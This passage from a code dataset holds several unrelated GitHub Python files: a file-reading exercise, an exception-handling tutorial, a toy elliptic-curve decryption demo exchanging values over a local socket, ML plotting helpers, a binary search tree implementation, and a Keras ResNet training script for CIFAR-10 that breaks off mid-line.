views.single_order),\n]","repo_name":"gabrieldmac/final-project-couresera-api","sub_path":"LittleLemonAPI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42839749988","text":"def DisplayContents():\r\n print(\"Enter the file name you want to read\")\r\n file=input()\r\n fd=open(file,\"r\")\r\n print(\"The contents of the file are displayed on next line........\")\r\n print(fd.read())\r\n\r\ndef main():\r\n DisplayContents()\r\n\r\nif __name__==\"__main__\":\r\n main()","repo_name":"chopadeamol/PythonCodes","sub_path":"Assignment9_2.py","file_name":"Assignment9_2.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40837937997","text":"try:\n\tprint('try...')\n\tr = 10 / 0\n\tprint('result:', r)\nexcept ZeroDivisionError as e:\n\tprint('except:', e)\nfinally:\n\tprint('finally...')\nprint('END')\n\ntry:\n\tprint('try...')\n\tr = 10 / int('2')\n\tprint('result:', r)\nexcept ValueError as e:\n\tprint('ValueError:', e)\nexcept ZeroDivisionError as e:\n\tprint('ZeroDivisionError:', e)\nelse:\n\tprint('no error!')\nfinally:\n\tprint('finally...')\nprint('END')\n\nprint('---------我是分割线------------')\n\ntry:\n\t#foo()\n\tpass\nexcept ValueError as e:\n\tprint('ValueError')\nexcept UnicodeError as e:\n\tprint('UnicodeError')\n\n# UnicodeError是ValueError的子类\n\n# Python所有的错误都是从BaseException类派生的\n\ndef foo(s):\n\treturn 10 / int(s)\n\ndef bar(s):\n\treturn foo(s) * 2\n\ndef main():\n\ttry:\n\t\tbar('0')\n\texcept Exception as e:\n\t\tprint('Error:', e)\n\tfinally:\n\t\tprint('finally...')\n\nmain()\n\nimport logging\n\ndef foo(s):\n\treturn 10 / int(s)\n\ndef bar(s):\n\treturn foo(s) * 2\n\ndef main():\n\ttry:\n\t\tbar('0')\n\texcept Exception as e:\n\t\tlogging.exception(e)\n\n\nmain()\nprint('END')\n\nclass FooError(ValueError):\n\tpass\n\ndef foo(s):\n\tn = int(s)\n\tif n == 0:\n\t\traise FooError('invalid value: %s' % s)\n\treturn 10 / n\n\n\n#foo('0')\n\ndef foo(s):\n\tn = int(s)\n\tif n == 0:\n\t\traise ValueError('invalid value: %s' % s)\n\treturn 10 / n\n\ndef bar():\n\ttry:\n\t\tfoo('0')\n\texcept ValueError as e:\n\t\tprint('ValueError!----')\n\t\traise\n\n#bar()\n\ntry:\n\t10 / 0\nexcept ZeroDivisionError:\n\traise ValueError('input error!')\n\n\n\n\n","repo_name":"MrQuJL/python-scripts","sub_path":"09_错误、调试和测试/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28545498797","text":"import random\r\nimport socket\r\nfrom gmssl import sm3\r\n\r\nHOST = ''\r\nPORT = 10110\r\n\r\n\r\ndef sm3_hash(message):\r\n message = message.encode('utf-8')\r\n msg_list = [i for i in message]\r\n hash_hex = sm3.sm3_hash(msg_list)\r\n\r\n return hash_hex\r\n\r\n \r\ndef Coprime(a, b):\r\n while a != 0:\r\n a, b = b % a, a\r\n if b != 1 and b != -1:\r\n return 1\r\n return 0\r\n\r\ndef gcd(a, m):\r\n if Coprime(a, m):\r\n return None\r\n u1, u2, u3 = 1, 0, a\r\n v1, v2, v3 = 0, 1, m\r\n while v3 != 0:\r\n q = u3 // v3\r\n v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3\r\n if u1 > 0:\r\n return u1 % m\r\n else:\r\n return (u1 + m) % m\r\n\r\ndef add(P,Q):\r\n if (P == 0):\r\n return Q\r\n if (Q == 0):\r\n return P\r\n if P == Q:\r\n aaa=(3*pow(P[0],2) + a)\r\n bbb=gcd(2*P[1],p)\r\n k=(aaa*bbb)%p \r\n else:\r\n aaa=(P[1]-Q[1])\r\n bbb=(P[0]-Q[0])\r\n k=(aaa*gcd(bbb,p))%p \r\n\r\n Rx=(pow(k,2)-P[0] - Q[0]) %p\r\n Ry=(k*(P[0]-Rx) - P[1])%p\r\n R=[Rx,Ry]\r\n return R\r\n\r\n\r\n\r\ndef mul(n, l):\r\n if n == 0:\r\n return 0\r\n if n == 1:\r\n return l\r\n t = l\r\n while (n >= 2):\r\n t = add(t, l)\r\n n = n - 1\r\n return t\r\n\r\na = 2\r\nb = 2 \r\np = 17 \r\nG = [5, 1]\r\nn = 19\r\nmessage='20021225'\r\ne=hash(message)\r\nk=2\r\nd = 7\r\nPubk = mul((gcd(d*5,n)-1), G)\r\nID='202100460105'\r\nZZ=str(len(ID))+ID+str(a)+str(b)+str(G[0])+str(G[1])+str(Pubk[0])+str(Pubk[1])\r\nZa=sm3_hash(ZZ)\r\n\r\ndef Enc(message):\r\n global k,Pubk\r\n C1=mul(k,G)\r\n R=mul(k,Pubk)\r\n t=sm3_hash(str(R[0])+str(R[1]))\r\n C2=int(message)^int(t,16)\r\n C3=hash(str(R[0])+message+str(R[1]))\r\n return C1,C2,C3\r\n\r\n\r\nC1,C2,C3=Enc(message)\r\nassert C1!=0\r\nT1=mul(gcd(d,n),C1)\r\nx=[]\r\nx.append(str(T1[0]))\r\nx.append(str(T1[1]))\r\ni=-1\r\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\ns.bind((HOST,PORT))\r\ns.listen(1)\r\nconn, addr = s.accept()\r\nwhile True:\r\n i += 1\r\n data = conn.recv(2048)\r\n if data.decode('utf-8') == 0:\r\n break\r\n conn.send(x[i].encode('UTF-8'))\r\n if i == 1:\r\n break\r\n\r\n\r\ny=[]\r\n\r\nfor i in range(3):\r\n conn.send('1'.encode('UTF-8'))\r\n data = conn.recv(2048)\r\n if data.decode('utf-8') == 0:\r\n break\r\n y.append(data.decode('utf-8')) \r\nconn.close()\r\nT2=[0,0]\r\nT2[0]=int(y[0])\r\nT2[1]=int(y[1])\r\nC1_=C1\r\nC1_[1]=p-C1_[1]\r\nR=add(T2,C1_)\r\nt=sm3_hash(str(R[0])+str(R[1]))\r\nM__=C2^int(t,16)\r\nu=hash(str(R[0])+str(M__)+str(R[1]))\r\nprint('解密得到的消息:',M__)\r\nprint('原始消息:',int(message))\r\nif M__==int(message):\r\n print(\"解密成功!\")\r\nelse:\r\n print(\"解密失败!\")\r\n","repo_name":"yxh1120/Homework-group-41","sub_path":"Project 16/Alice.py","file_name":"Alice.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32463860396","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import auc, confusion_matrix, roc_curve\n\n\ndef plot_confusion_matrix(y_true, y_pred, classes=None, normalize=False, title=None, cmap=plt.cm.Blues):\n \"\"\"\n From scikit-learn: plots a confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if not title:\n if normalize:\n title = \"Normalized confusion matrix\"\n else:\n title = \"Confusion matrix\"\n\n # Compute confusion matrix\n if len(y_true.shape) > 1 and len(y_pred.shape) > 1:\n cm = confusion_matrix(np.argmax(y_true, axis=1), np.argmax(y_pred, axis=1))\n else:\n cm = confusion_matrix(y_true, y_pred)\n\n if normalize:\n cm = cm.astype(\"float\") / cm.sum(axis=1)[:, np.newaxis]\n\n fig, ax = plt.subplots()\n im = ax.imshow(cm, interpolation=\"nearest\", cmap=cmap, origin=\"lower\")\n cbar = ax.figure.colorbar(im, ax=ax)\n cbar.set_label(title)\n\n ax.set(\n xticks=np.arange(cm.shape[1]),\n yticks=np.arange(cm.shape[0]),\n ylabel=\"True label\",\n xlabel=\"Predicted label\",\n )\n\n if classes is not None:\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n # Loop over data dimensions and create text annotations.\n fmt = \".2f\" if normalize else \"d\"\n thresh = cm.max() / 2.0\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n ax.text(j, i, format(cm[i, j], fmt), ha=\"center\", va=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n fig.tight_layout()\n\n\ndef plot_roc(fpr, tpr, auc, labels, linestyle, legend=True):\n for label in labels:\n plt.plot(\n tpr[label],\n fpr[label],\n label=f\"{label.replace('j_', '')}, AUC = {auc[label] * 100:.1f}%\",\n linestyle=linestyle,\n )\n plt.semilogy()\n plt.xlabel(\"True positive rate\")\n plt.ylabel(\"False positive rate\")\n plt.ylim(0.001, 1)\n plt.grid(True)\n if legend:\n plt.legend(loc=\"upper left\")\n\n\ndef roc_data(y, predict_test, labels):\n\n df = pd.DataFrame()\n\n fprs = {}\n tprs = {}\n aucs = {}\n\n for i, label in enumerate(labels):\n df[label] = y[:, i] if len(labels) > 1 else y\n df[f\"{label}_pred\"] = predict_test[:, i] if len(labels) > 1 else predict_test\n\n fprs[label], tprs[label], _ = roc_curve(df[label], df[f\"{label}_pred\"])\n\n aucs[label] = auc(fprs[label], tprs[label])\n return fprs, tprs, aucs\n\n\ndef make_roc(y, predict_test, labels, linestyle=\"-\", legend=True):\n\n if \"j_index\" in labels:\n labels.remove(\"j_index\")\n\n fprs, tprs, aucs = roc_data(y, predict_test, labels)\n plot_roc(fprs, tprs, aucs, labels, linestyle, legend=legend)\n\n\ndef normalize_image(image):\n \"\"\"Rescale the constrast in an image based on the noise (used for displays and the CNN)\"\"\"\n sigmaG_coeff = 0.7413\n image = image.reshape(21, 21)\n\n per25, per50, per75 = np.percentile(image, [25, 50, 75])\n sigmaG = sigmaG_coeff * (per75 - per25)\n # sigma clip image, remove background, and normalize to unity\n image[image < (per50 - 2 * sigmaG)] = per50 - 2 * sigmaG\n image -= np.min(image)\n image /= np.sum(image)\n\n return image\n\n\ndef plot_image_array(\n images, nrows=2, ncols=5, figsize=[8, 4], nx=21, ny=21, title=\"\", subtitle=False, class_true=None, classes=None\n):\n \"\"\"Plot an array of images\"\"\"\n fig, ax = plt.subplots(nrows=nrows, ncols=ncols, figsize=figsize)\n fig.subplots_adjust(hspace=0, left=0.07, right=0.95, wspace=0.05, bottom=0.15)\n for indx in np.arange(nrows * ncols):\n i = int(indx / ncols)\n j = indx % ncols\n if i == 0:\n ax[i][j].xaxis.set_major_formatter(plt.NullFormatter())\n if j != 0:\n ax[i][j].yaxis.set_major_formatter(plt.NullFormatter())\n\n ax[i][j].imshow(images[indx].reshape(nx, ny), cmap=\"gray\", origin=\"lower\")\n if subtitle:\n ax[i][j].set_title(\n (\n f\"True class: {np.argmax(class_true[indx])}, \"\n + f\"Predicted class: {np.argmax(classes[indx])}\\n\"\n + f\"Prob(class 1): {classes[indx, 1]}\"\n )\n )\n\n fig.suptitle(title)\n ax[0][0].set_ylabel(\"$y$\")\n ax[nrows - 1][int(ncols / 2)].set_xlabel(\"$x$\")\n\n\ndef plot_model_history(history):\n \"\"\"Plot the training and validation history for a TensorFlow network\"\"\"\n\n # Extract loss and accuracy\n loss = history.history[\"loss\"]\n val_loss = history.history[\"val_loss\"]\n acc = history.history[\"accuracy\"]\n val_acc = history.history[\"val_accuracy\"]\n n_epochs = len(loss)\n\n fig, ax = plt.subplots(nrows=1, ncols=2, figsize=(10, 5))\n ax[0].plot(np.arange(n_epochs), loss, label=\"Training\")\n ax[0].plot(np.arange(n_epochs), val_loss, label=\"Validation\")\n ax[0].legend()\n ax[0].set_xlabel(\"Epoch\")\n ax[0].set_ylabel(\"Loss\")\n\n ax[1].plot(np.arange(n_epochs), acc, label=\"Training\")\n ax[1].plot(np.arange(n_epochs), val_acc, label=\"Validation\")\n ax[1].legend()\n ax[1].set_xlabel(\"Epoch\")\n ax[1].set_ylabel(\"Accuracy\")\n","repo_name":"jmduarte/phys139_239","sub_path":"notebooks/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"24099464178","text":"from collections import deque\n\n\nclass BiTreeNode:\n def __init__(self, data):\n self.data = data\n self.l_child = None\n self.r_child = None\n self.parent = None\n\n\nclass BST:\n def __init__(self, li=None):\n self.root = None\n if li:\n for val in li:\n self.insert_no_rec(val)\n\n def level_order(self, root):\n queue = deque()\n queue.append(root)\n while len(queue) > 0:\n node = queue.popleft()\n print(node.data, end=\",\")\n if node.l_child:\n queue.append(node.l_child)\n if node.r_child:\n queue.append(node.r_child)\n\n def insert(self, node, val):\n if not node:\n node = BiTreeNode(val)\n elif val < node.data:\n node.l_child = self.insert(node.l_child, val)\n node.l_child.parent = node\n elif val > node.data:\n node.r_child = self.insert(node.r_child, val)\n node.r_child.parent = node\n return node\n\n def insert_no_rec(self, val):\n p = self.root\n if not p:\n self.root = BiTreeNode(val)\n return\n while True:\n if val < p.data:\n if not p.l_child:\n p.l_child = BiTreeNode(val)\n p.l_child.parent = p\n return\n p = p.l_child\n elif val > p.data:\n if not p.r_child:\n p.r_child = BiTreeNode(val)\n p.r_child.parent = p\n return\n p = p.r_child\n else:\n return\n\n # 前序遍历\n def pre_order(self, root):\n if root:\n print(root.data, end=\",\")\n self.pre_order(root.l_child)\n self.pre_order(root.r_child)\n\n # 中序排序\n def in_order(self, root):\n if root:\n self.in_order(root.l_child)\n print(root.data, end=\",\")\n self.in_order(root.r_child)\n\n # 后序排序\n def post_order(self, root):\n if root:\n self.post_order(root.l_child)\n self.post_order(root.r_child)\n print(root.data, end=\",\")\n\n def query(self, node: BiTreeNode, val):\n if not node:\n return None\n if node.data > val:\n return self.query(node.l_child, val)\n elif node.data < val:\n return self.query(node.r_child, val)\n else:\n print(node.data)\n return node\n\n def query_no_rec(self, val) -> BiTreeNode:\n p = self.root\n if p.data == val:\n return p\n while p:\n if p.data > val:\n if not p.l_child:\n return\n if p.l_child.data == val:\n return p.l_child\n p = p.l_child\n elif p.data < val:\n if not p.r_child:\n return\n if p.r_child.data == val:\n return p.r_child\n p = p.r_child\n\n # 移除的节点为叶子节点\n def __remove_node_1(self, node):\n if not node:\n self.root = None\n if node.parent.data > node.data:\n node.parent.l_child = None\n else:\n node.parent.r_child = None\n\n # 移除的节点存在一个左子节点\n def __remove_node_21(self, node):\n if not node:\n self.root = node.l_child\n node.l_child.parent = None\n elif node == node.parent.l_child:\n node.l_child.parent = node.parent\n node.parent.l_child = node.l_child\n else:\n node.l_child.parent = node.parent\n node.parent.r_child = node.l_child\n\n # 移除的节点存在一个右子节点\n def __remove_node_22(self, node):\n if not node:\n self.root = node.r_child\n node.r_child.parent = None\n elif node == node.parent.l_child:\n node.r_child.parent = node.parent\n node.parent.l_child = node.r_child\n else:\n node.r_child.parent = node.parent\n node.parent.r_child = node.r_child\n\n def delete(self, val):\n node = self.query_no_rec(val)\n if not node:\n return False\n\n if node.l_child is None and node.r_child is None:\n self.__remove_node_1(node)\n # elif node.l_child and node.r_child is None:\n elif not node.r_child:\n self.__remove_node_21(node)\n elif not node.l_child:\n self.__remove_node_22(node)\n else:\n min_node = node.r_child\n while min_node.l_child:\n min_node = min_node.l_child\n node.data = min_node.data\n if min_node.r_child:\n min_parent = min_node.parent\n min_parent.l_child = min_node.r_child\n # min_node.r_child = node.r_child\n del node\n\n\n # FIXME 删不掉头节点\n def pop(self, val):\n node = self.query_no_rec(val)\n if node:\n # flag = False\n parent = node.parent\n # if not parent:\n # self.root = None\n # 节点为最后一个\n if node.l_child is None and node.r_child is None:\n if parent.data > node.data:\n parent.l_child = None\n # node.parent = None\n del node\n else:\n parent.r_child = None\n node.parent = None\n del node\n elif node.l_child and node.r_child:\n r_c = node.r_child\n while r_c.l_child:\n r_c = r_c.l_child\n if r_c.r_child:\n c_p = r_c.parent\n c_p.l_child = r_c.r_child\n r_c.r_child = node.r_child\n # r_c.parent = parent\n if parent.data > node.data:\n parent.l_child = r_c\n else:\n parent.r_child = r_c\n r_c.l_child = node.l_child\n del node\n else:\n if node.l_child:\n c_node = node.l_child\n else:\n c_node = node.r_child\n if parent.data > node.data:\n node.parent.l_child = c_node\n else:\n node.parent.r_child = c_node\n del node\n\n\nif __name__ == '__main__':\n bst = BST([17, 5, 35, 2, 11, 9, 16, 7, 8, 29, 38])\n bst.delete(17)\n # print()\n # bst.level_order(bst.root)\n bst.in_order(bst.root)\n print()\n # print(bst.query(bst.root, 2).data)\n # print(bst.query_no_rec(17).data)\n","repo_name":"cyzw/calculate_sort","sub_path":"bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35405251659","text":"import tensorflow as tf\nfrom tensorflow.keras import layers, optimizers, models, datasets, utils\nfrom tensorflow.keras.preprocessing.image import load_img, ImageDataGenerator\nimport numpy as np\nfrom PIL import Image\n\nimport os, argparse, math, sys\nimport matplotlib.pyplot as plt\n\n# Argument parser\ndef arg_parse(arg_list=None):\n\tparser = argparse.ArgumentParser(description=\"ML Final Project\")\n\n\t# Batch size\n\tparser.add_argument(\n\t\t'--batch-size',\n\t\t'-bs',\n\t\tdest='batch_size',\n\t\thelp='Batch size',\n\t\ttype=int,\n\t\tdefault=128\n\t)\n\n\t# Number of Classes\n\tparser.add_argument(\n\t\t'--num-classes',\n\t\t'-c',\n\t\tdest='num_classes',\n\t\thelp='Number of classes',\n\t\ttype=int,\n\t\tdefault=10\n\t)\n\n\t# Number of Epochs\n\tparser.add_argument(\n\t\t'--epochs',\n\t\t'-e',\n\t\tdest='epochs',\n\t\thelp='Number of Epochs',\n\t\ttype=int,\n\t\tdefault=200\n\t)\n\tparser.add_argument(\n\t\t'--epochs-res',\n\t\t'-er',\n\t\tdest='epochs_res',\n\t\thelp='Number of Epochs ResNet',\n\t\ttype=int,\n\t\tdefault=650\n\t)\n\n\t# Number of Predictions\n\tparser.add_argument(\n\t\t'--num-predictions',\n\t\t'-np',\n\t\tdest='num_predictions',\n\t\thelp='Number of Predictions',\n\t\ttype=int,\n\t\tdefault=20\n\t)\n\n\t# ResNet Blocks\n\tparser.add_argument(\n\t\t'--resnet-blks',\n\t\t'-rb',\n\t\tdest='resnet_blks',\n\t\thelp='Number of ResNet Blocks',\n\t\ttype=int,\n\t\tdefault=32\n\t)\n\n\t# Learning Rate\n\tparser.add_argument(\n\t\t'--learning-rate',\n\t\t'-lr',\n\t\tdest='learning_rate',\n\t\thelp='Learning Rate',\n\t\ttype=float,\n\t\tdefault=0.001\n\t)\n\tparser.add_argument(\n\t\t'--learning-rate-res',\n\t\t'-lrr',\n\t\tdest='learning_rate_res',\n\t\thelp='Learning Rate',\n\t\ttype=float,\n\t\tdefault=0.001\n\t)\n\n\t# Learning Rate\n\tparser.add_argument(\n\t\t'--decay',\n\t\t'-de',\n\t\tdest='decay',\n\t\thelp='Decay Rate',\n\t\ttype=float,\n\t\tdefault=1e-10\n\t)\n\n\t# Cuda Device Visible\n\tparser.add_argument(\n\t\t'--cuda',\n\t\t'-cu',\n\t\tdest='cuda',\n\t\thelp='CUDA card to use',\n\t\ttype=str,\n\t\tdefault='0'\n\t)\n\n\t# Save Directory\n\tparser.add_argument(\n\t\t'--out-dir',\n\t\t'-od',\n\t\tdest='save_dir',\n\t\thelp='Output Directory Path',\n\t\ttype=str,\n\t\tdefault='saved_models'\n\t)\n\n\t# Save Filename\n\tparser.add_argument(\n\t\t'--output',\n\t\t'-o',\n\t\tdest='model_name',\n\t\thelp='Output Filename',\n\t\ttype=str,\n\t\tdefault='keras_cifar10_fcn_model'\n\t)\n\n\t# Data augmentation\n\tparser.add_argument(\n\t\t'--data-augmentation',\n\t\t'-da',\n\t\tdest='data_augmentation',\n\t\taction=\"store_false\",\n\t\thelp=\"Data Augmentation?\"\n\t)\n\n\t# Batch Normalization\n\tparser.add_argument(\n\t\t'--batch-normalization',\n\t\t'-bn',\n\t\tdest='batch_norm',\n\t\taction=\"store_false\",\n\t\thelp=\"Batch Normalization?\"\n\t)\n\n\t# Parses and returns args\n\tif arg_list:\n\t\treturn parser.parse_args(args=arg_list)\n\telse:\n\t\treturn parser.parse_args()\n\n# Reorder classes\ndef class_reorder(y, class_list):\n\ty[0] = class_list.index(y[0])\n\treturn y\n\n# Data loader\ndef load_data5():\n\t# Loads train and test\n\t(x_train, y_train), (x_test, y_test) = datasets.cifar10.load_data()\n\n\t# Gets only 5 classes and reorders class numbers\n\tclass_list = [2, 3, 4, 5, 7]\n\tx5_train = np.asarray([x for x, y in zip(x_train, y_train) if y[0] in class_list])\n\tx5_test = np.asarray([x for x, y in zip(x_test, y_test) if y[0] in class_list])\n\ty5_train = np.asarray([class_reorder(y, class_list) for y in y_train if y[0] in class_list])\n\ty5_test = np.asarray([class_reorder(y, class_list) for y in y_test if y[0] in class_list])\n\n\t# Returns data\n\treturn (x5_train, y5_train), (x5_test, y5_test)\n\n# FCN Horse test\ndef horse_test(model, class_labels, img_fname='images/horse_64.jpg'):\n\timg = np.asarray(load_img(img_fname)).astype('float32') / 255\n\toutput_list = model.predict(np.expand_dims(img, axis=0)).tolist()[0]\n\toutput = output_list.index(max(output_list))\n\t# print(f'output_list: {output_list}, output: {output}, label: {class_labels[output]}')\n\treturn [class_labels[output], output_list[output]]\n\n# Saves models\ndef save_model(args, model, model_name=None):\n\tif not model_name: model_name = args.model_name\n\t# Save model and weights\n\tif not os.path.isdir(args.save_dir):\n\t\tos.makedirs(args.save_dir)\n\tmodel_path = os.path.join(args.save_dir, model_name + '.h5')\n\tmodel.save(model_path)\n\tprint(f'Saved trained model at {model_path}')\n\n# Learning Rate Scheduler\ndef lr_sched(epoch):\n\t# lr = 1e-3\n\t# if epoch > 180: lr *= 0.5e-3\n\t# elif epoch > 160: lr *= 1e-3\n\t# elif epoch > 120: lr *= 1e-2\n\t# elif epoch > 80: lr *= 1e-1\n\tlr = 0.1\n\t# if epoch > 180: lr *= 0.5e-3\n\t# if epoch > 500: lr *= 0.0002 \n\tif epoch > 500: lr *= 0.0005 \n\telif epoch > 300: lr *= 0.001\n\telif epoch > 120: lr *= 0.01\n\treturn lr\n\n# Original Model but FCN\ndef og_model_fcn(args):\n\t# Model start\n\tmodel = models.Sequential()\n\tpadding1 = 'same'\n\tpadding2 = 'valid'\n\t\n\t# Fully convolutional input\n\tmodel.add(layers.Input(shape=(None, None, 3)))\n\n\t# First convolution block\n\tmodel.add(\n\t\tlayers.Conv2D(filters=32, kernel_size=3, strides=1, padding=padding2)\n\t)\n\tmodel.add(layers.BatchNormalization())\n\tmodel.add(layers.Activation('relu'))\t\n\tmodel.add(layers.Conv2D(32, (3, 3)))\n\tmodel.add(layers.BatchNormalization())\n\tmodel.add(layers.Activation('relu'))\n\tmodel.add(layers.MaxPooling2D(pool_size=(2, 2)))\n\tmodel.add(layers.Dropout(0.5))\n\n\t# Next conv block\n\tmodel.add(layers.Conv2D(64, (3, 3), padding=padding2))\n\tmodel.add(layers.BatchNormalization())\n\tmodel.add(layers.Activation('relu'))\n\tmodel.add(layers.Conv2D(64, (3, 3)))\n\tmodel.add(layers.BatchNormalization())\n\tmodel.add(layers.Activation('relu'))\n\tmodel.add(layers.MaxPooling2D(pool_size=(2, 2)))\n\tmodel.add(layers.Dropout(0.5))\n\n\t# Fully convolutional output\n\tmodel.add(layers.Conv2D(filters=256, kernel_size=5, strides=1, padding=padding2))\n\tmodel.add(layers.Dropout(0.5))\n\tmodel.add(layers.BatchNormalization())\n\tmodel.add(layers.Activation('relu'))\n\tmodel.add(layers.Conv2D(args.num_classes, 1, 1, padding2))\n\tmodel.add(layers.GlobalMaxPooling2D())\n\tmodel.add(layers.Activation('softmax'))\n\n\t# Initiate optimizer\n\topt = optimizers.Adamax(lr=args.learning_rate, decay=args.decay)\n\n\t# Let's train the model using RMSprop\n\tmodel.compile(\n\t\tloss='categorical_crossentropy',\n\t\toptimizer=opt,\n\t\tmetrics=['accuracy']\n\t)\n\n\t# Returns model\n\treturn model\n\n# ResNet Block Shallow\ndef resnet_block_shallow(input_layer, filters, ksize):\n\tl = layers.Conv2D(filters, ksize, 1, 'same')(input_layer)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\n\tl = layers.Conv2D(filters, ksize, 1, 'same')(l)\n\tl = layers.BatchNormalization()(l)\n\n\tl = layers.Add()([l, input_layer])\n\tl = layers.Activation('relu')(l)\n\treturn l\n\n# ResNet Block Deep\ndef resnet_block_deep(input_layer, filters, ksize):\n\tl = layers.Conv2D(filters, 1, 1, 'same')(input_layer)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\n\tl = layers.Conv2D(filters, ksize, 1, 'same')(l)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\n\tl = layers.Conv2D(filters, 1, 1, 'same')(l)\n\tl = layers.Add()([l, input_layer])\n\tl = layers.Activation('relu')(l)\n\t# l = layers.Dropout(0.2)(l)\n\treturn l\n\n# Resnet FCN\ndef resnet_fcn(args):\n\t# Input shape\n\tinput_shape = (None, None, 3)\n\t# input_shape = (32, 32, 3)\n\n\t# ResNet Blocks\n\tresent_blks = args.resnet_blks\n\n\t# Model Input layers\n\tinput_layer = layers.Input(shape=input_shape)\n\tl = layers.Conv2D(32, 3)(input_layer)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\tl = layers.Conv2D(64, 3)(l)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\t# l = layers.MaxPooling2D()(l)\n\tl = layers.AveragePooling2D()(l)\n\tl = layers.Dropout(0.3)(l)\n\n\t# ResNet Blocks\n\tfor i in range(resent_blks):\n\t\tif resent_blks <= 10:\n\t\t\tl = resnet_block_shallow(l, 64, 3)\n\t\telse:\n\t\t\tl = resnet_block_deep(l, 64, 3)\n\tl = layers.Dropout(0.5)(l)\n\n\t# Final Convolutions\n\tl = layers.Conv2D(64, 3)(l)\n\tl = layers.BatchNormalization()(l)\n\tl = layers.Activation('relu')(l)\n\t# l = layers.GlobalAveragePooling2D()(l)\n\t# l = layers.GlobalMaxPooling2D()(l)\n\t# l = layers.MaxPooling2D()(l)\n\tl = layers.AveragePooling2D()(l)\n\tl = layers.Dropout(0.5)(l)\n\n\t# Fully convolutional output\n\tl = layers.Conv2D(filters=512, kernel_size=6, strides=1)(l)\n\tl = layers.BatchNormalization()(l)\n\t# l = layers.Dropout(0.5)(l)\n\tl = layers.Activation('relu')(l)\n\tl = layers.Conv2D(args.num_classes, 1, 1)(l)\n\t# l = layers.GlobalMaxPooling2D()(l)\n\tl = layers.GlobalAveragePooling2D()(l)\n\toutput_layer = layers.Activation('softmax')(l)\n\n\t# Final model\n\tmodel = tf.keras.Model(input_layer, output_layer)\n\n\t# Initiate optimizer\n\t# opt = optimizers.Adam(learning_rate=args.learning_rate_res)\n\t# opt = optimizers.Adamax(learning_rate=args.learning_rate_res)\n\topt = optimizers.Adamax(learning_rate=lr_sched(0))\n\t\n\n\t# Let's train the model using RMSprop\n\tmodel.compile(\n\t\tloss='categorical_crossentropy',\n\t\toptimizer=opt,\n\t\tmetrics=['accuracy']\n\t)\n\n\treturn model\n\ndef main():\n\t# Args\n\targs = arg_parse()\n\tif not os.path.exists(args.save_dir):\n\t\tos.makedirs(args.save_dir)\n\n\t# Class labels\n\tclass_labels = ['bird', 'cat', 'deer', 'dog', 'horse']\n\n\t# Set CUDA Card\n\tphysical_devices = tf.config.experimental.list_physical_devices('GPU')\n\ttf.config.experimental.set_memory_growth(physical_devices[0], True)\n\t# os.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\"\n\t# os.environ[\"CUDA_VISIBLE_DEVICES\"]=args.cuda\n\n\t# Load data\n\t# (x_train, y_train), (x_test, y_test) = load_data5()\n\t(x_train, y_train), (x_test, y_test) = datasets.cifar10.load_data()\n\n\t# Convert class vectors to binary class matrices.\n\ty_train = utils.to_categorical(y_train, args.num_classes)\n\ty_test = utils.to_categorical(y_test, args.num_classes)\n\n\t# Normalize\n\tx_train = x_train.astype('float32') / 255\n\tx_test = x_test.astype('float32') / 255\n\n\t# Original Model with FCN mods from part1\n\t# model_og_fcn_name = 'keras_cifar10_og_fcn_model'\n\t# model_og_fcn = og_model_fcn(args)\n\t# Callbacks\n\t# checkpoint = tf.keras.callbacks.ModelCheckpoint(filepath='saved_models/keras_cifar10_og_fcn_model-checkpoint.h5', monitor='val_accuracy', verbose=1, save_best_only=True)\n\t# lr_scheduler = tf.keras.callbacks.LearningRateScheduler(lr_sched)\n\t# lr_red = tf.keras.callbacks.ReduceLROnPlateau(factor=np.sqrt(0.1), cooldown=0, patience=5, min_lr=0.5e-6)\n\t# callbacks = [checkpoint, lr_red, lr_scheduler]\n\t# model_og_fcn.fit(\n\t# \tx_train, \n\t# \ty_train,\n\t# \tbatch_size=args.batch_size,\n\t# \tepochs=args.epochs,\n\t# \tvalidation_data=(x_test, y_test),\n\t# \tshuffle=True,\n\t#\tcallbacks=True\n\t# )\n\n\t# FCN ResNet Model\n\tmodel_resnet_fcn_name = 'keras_cifar10_resnet_fcn_model' \n\tmodel_resnet_fcn = resnet_fcn(args)\n\t\n\t# Callbacks\n\tcheckpoint = tf.keras.callbacks.ModelCheckpoint(\n\t\tfilepath='saved_models/keras_cifar10_resnet_fcn_model-checkpoint.h5', \n\t\tmonitor='val_accuracy', \n\t\tverbose=1, \n\t\tsave_best_only=True\n\t)\n\tlr_scheduler = tf.keras.callbacks.LearningRateScheduler(lr_sched)\n\tlr_red = tf.keras.callbacks.ReduceLROnPlateau(factor=np.sqrt(0.1), 